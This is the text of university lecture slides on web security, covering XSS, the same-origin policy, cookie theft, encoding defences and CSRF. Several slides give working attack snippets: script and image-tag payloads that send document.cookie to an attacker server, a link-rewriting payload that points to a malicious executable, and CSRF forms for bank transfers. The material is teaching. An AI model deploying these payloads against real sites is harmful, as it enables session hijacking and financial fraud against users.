EECS 354 Network Security

1. EECS 354Network Security Cross Site Scripting (XSS)

2. Web Application Design Modern web pages are complex Server side Web servers, backend code, databases Client side Web browsers parse HTML, execute Javascript Rich content: Java applets, Flash objects

3. Web Application Security Server side attacks Attacking the host server to steal data, even root a box SQL injection to read arbitrary database information Shell attacks, direct object reference, directory traversal, and more Client side attacks

4. Web Application Security Server side attacks Client side attacks Exploiting users’ trust in their browser Javascript attacks on other clients Cross-Site Scripting (XSS) Cross-Site Request Forgery (CSRF)

5. Browser Basics Document Object Model (DOM) An interface to access HTML elements dynamically Commonly referenced in Javascript Very powerful Readable and writable

6. Document Object Model

7. Document Object Model A few common tools: document.GetElementsBy* Returns list of elements with a particular property document.cookie Read cookies associated with current document window.location Read/write document location <element>.innerHTML Read/write an element’s HTML content

8. Same Origin Policy Working with iframes A parent window can get a reference to a frame’s document var x = document.getElementById("myframe"); var y = x.contentDocument; document.write(y.cookie); How is this safe for something like <iframe src=“http://www.twitter.com”>?

9. Demo

10. Same Origin Policy The Same Origin Policy (SOP) protects against certain Javascript attacks Servers can’t read DOM objects across domains Must share scheme, hostname, and port Example: http://www.example.com http://www.example.com/dir/page.html - Success http://www.attacker.com/dir/page.html - Failure

11. Same Origin Policy Prevents an attack like the following: User visits example.com and starts a session User visits malicious.com malicious.com creates an invisible iframe for example.com malicious.com can access document.cookie and HTML content of example.com without the user’s permission

12. Cross Origin Resource Sharing (CORS) Cross Origin Resource Sharing is an explicit exception to the Same Origin Policy Allows DOM access across domains through explicit header For example, logging into Gmail can also log into the embedded Google Chat Implemented through header Access-Control-Allow-Origin: http://mail.google.com

13. XSS Basics • Session Stealing • Advanced XSS Injection • Preventing XSS • CSRF

14. Introduction Example A message board has a XSS vulnerability in the message posting A hacker posts a message that contains malicious Javascript code to send passwords to a server When a user visits an exploited page, that user’s password is sent to the hacker

15. The Vulnerability Pages that are susceptible to XSS attacks often allow users to add content to the page Simple attack vectors: webblog comments, message board posting, adding to a wiki Add the following content <script type="text/javascript"> alert('vulnerable'); </script>

16. The Vulnerability Javascript can be extremely dangerous Access to cookies, HTML, and all of the DOM Allows privacy leakage or cookie stealing Redirect to arbitrary pages, cache poisoning for persistence Browsers are not always secure Javascript attacks can lead to full remote code execution through browser vulnerabilities

17. What to do Pages that are vulnerable aren’t helpful unless there’s valuable information to retrieve The most common and easy to steal information is the user’s cookie With a stolen cookie, you’ll often be able to log in as the user using their session

18. XSS Basics • Session Stealing • Advanced XSS Injection • Preventing XSS • CSRF

19. Cookies A cookie is data stored on the client that is persistent through requests You log in to access your email (http://u.northwestern.edu/) The server validates your user name and password then sets a cookie Your browser will send this cookie with subsequent requests to automatically validate your credentials

20. Sessions Sessions allow websites to retain information about a user Session cookies are stored on the client side Contains a unique hash which on the server side refers to a specific account Session cookies should have a short expiration to mitigate attacks

21. Stealing Cookies Use the DOM <script type="text/javascript"> document.location='http://myserver/savecookie/?cookie='+document.cookie; </script> The browser is redirected to another server that saves the cookie This is very obvious to the user

22. Stealing Cookies How to steal info without user knowing Simple to do with XMLHttpRequest var req = new XMLHttpRequest(); req.open('GET', 'http://www.example.com/?cookie=‘ + document.cookie, false); req.send(); req.responseText; // the response XMLHttpRequests are also subject to SOP Restricts reading the response for a cross domain request

23. Stealing Cookies How to steal info without user knowing Or, an image tag: <script> document.write(“<img src=\”http://evil.example.org/steal.php?cookie=\” + encodeURI(document.cookie); />”) </script>

24. XSS Basics • Session Stealing • Advanced XSS Injection • Preventing XSS • CSRF

25. Attack Vectors Browsers have extremely complicated ways of parsing and rendering a webpage Makes the process open to security holes A standard XSS attack will simply inject script tags into the page There are several more advanced schemes

26. Stored vs Reflected Stored (Persistent) Attack stored on server Becomes part of the website content Affects all who visit the webpage Like a forum post Reflected (Non-persistent) Attack not stored on server A GET parameter used to render the page Only affects users who use an malicious URL

27. Attack Vectors OnLoad, OnError, etc <imgsrc="http://url.to.file.which/not.exist" onerror=alert(document.cookie);> GET parameters http://example.com/index.php?user=<script>alert(%22123%22)</script> And a more malicious example... http://example.com/index.php?user=<script>window.onload = function() {varAllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>

28. XSS Basics • Session Stealing • Advanced XSS Injection • Preventing XSS • CSRF

29. Protecting against XSS Firewalls ineffective Ports 80 and 443 must be open Sanitize user input Do not allow <script></script> tags Do not allow tags with Javascript attributes Design sessions well Password should not be recoverable from cookies

30. Encoding Javascript HTML Entity Encoding < to &lt; > to &gt; “ to &quot; Used for embedding special HTML characters as text in the page Rendered safely by the browser HTML Attribute Encoding Replaces characters that are not valid inside HTML attributes Specifically, '&', '<', and '”' are encoded

31. XSS Basics • Session Stealing • Advanced XSS Injection • Preventing XSS • CSRF

32. Cross Site Request Forgery Websites use URLs to specify requests for an action Example<img src="http://bank.example/withdraw?account=bob&amount=1000000&for=mallory"> This image will cause any visitor to make a request to the image source server If bob has his cookie set, visiting a page with this image will allow his account to authenticate and execute the transaction

33. CSRF Requirements A CSRF vulnerability requires: No check of referrer header Form submission with side-effects (the transaction) All necessary form inputs must be known Victim must have an active session with vulnerable site (session cookie) This situation is common in practice

34. CSRF(POST) In reality, no one is going to use HTTP GET for this type of request Risk still exists with HTTP POST User must visit a malicious webpage Malicious site executes CSRF attack on client data at vulnerable site Exploit does not require user input Can use onload() attribute to execute without user permission <form action=“http://bank.example/submit” type= “post”> Name: <input type=“text” name=“trash” /> <input type=“hidden” value=”me” name=“to-account” /> • <input type=“hidden” value=”victim” name=“from-account” /> • <input type=“hidden” value=”1000” name=“amount” /> </form>

35. CSRF Tokens Need a CSRF Token Random nonce (‘number used only once’) that is unpredictable to users CSRF tokens need to be linked with sessions User-specific, only known to that user XSS defeats CSRF tokens and other CSRF protections

36. Backup Slides

37. Browser Plugins Java, Flash player, Quicktime, ActiveX Frequently targeted for attacks Plugins extend the functionality of the web browser Compromise of a plugin is effectively a compromise of the browser, allowing remote code execution Sandboxing can prevent this when implemented effectively